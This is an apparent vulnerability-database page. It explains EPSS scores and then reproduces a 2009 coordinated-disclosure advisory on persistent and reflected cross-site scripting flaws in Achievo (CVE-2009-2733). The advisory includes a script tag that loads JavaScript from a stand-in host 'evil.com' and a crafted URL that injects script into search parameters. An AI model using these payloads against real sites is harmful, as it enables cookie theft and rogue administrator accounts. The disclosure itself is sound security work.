EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Multiple XSS in Achievo
1. *Advisory Information*
Title: Multiple XSS in Achievo
Advisory ID: BONSAI-2009-0101
Advisory URL: http://www.bonsai-sec.com/research/vulnerabilities/achievo-multiple-xss-0101.txt
Date published: 2009-10-13
Vendors contacted: Achievo
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Multiple Cross Site Scripting (XSS)
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2009-2733
3. *Software Description*
Achievo is a flexible web-based resource management tool for business
environments. Achievo's resource management capabilities will enable
organizations to support their business processes in a simple, but effective
manner [0].
4. *Vulnerability Description*
Cross-Site Scripting attacks are a type of injection problem, in which
malicious scripts are injected into the otherwise benign and trusted web sites.
Cross-site scripting (XSS) attacks occur when an attacker uses a web
application to send malicious code, generally in the form of a browser side
script, to a different end user. Flaws that allow these attacks to succeed are
quite widespread and occur anywhere a web application uses input from a user
in the output it generates without validating or encoding it.
For additional information, please read [1].
5. *Vulnerable packages*
Version <= 1.3.4
6. *Non-vulnerable packages*
Achievo developers informed us that all users should upgrade to the latest
version of Achievo, which fixes this vulnerability. More information to be
found here:
http://www.achievo.org/
7. *Credits*
This vulnerability was discovered by Ryan Dewhurst ( ryan -at- bonsai-sec.com ).
8. *Technical Description*
8.1 A Persistent Cross Site Scripting vulnerability was found in the 'tittle'
variable within the scheduler module. This is because the application does not
properly sanitise the users input. The vulnerability can be triggered by a user
submitting the following data within the scheduler title:
<SCRIPT SRC=//evil.com/xss.js></SCRIPT>
Which will include the xss.js javascript file within the schedule. A javascript
that exploits this issue and creates a new administrator user in the system can
be found in Bonsai's blog [2].
8.2 A Reflected Cross Site Scripting vulnerability was found in the
atksearch[contractnumber], atksearch_AE_customer[customer] and
atksearchmode[contracttype] variables within the 'Organisation Contracts'
administration page. This is because the application does not properly sanitise
the users input. The vulnerability can be triggered by clicking on the
following URL:
http://www.example.com/dispatch.php?atkprevlevel=0&atkescape=&atknodetype=organization.contracts&atkaction=admin&atksmartsearch=clear&atkstartat=0&atksearch[contractnumber]="><script>alert('xss');</script>&atksearchmode[contractnumber]=substring&atksearch[contractname]="><script>alert('xss');</script>&atksearchmode[contractname]=substring&atksearch_AE_contracttype[contracttype][=&atksearchmode[contracttype]=exact&atksearch_AE_customer[customer]="><script>alert('xss');</script>&atksearchmode[customer]=substring

Achievo is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
Versions prior to Achievo 1.4.0 are affected.
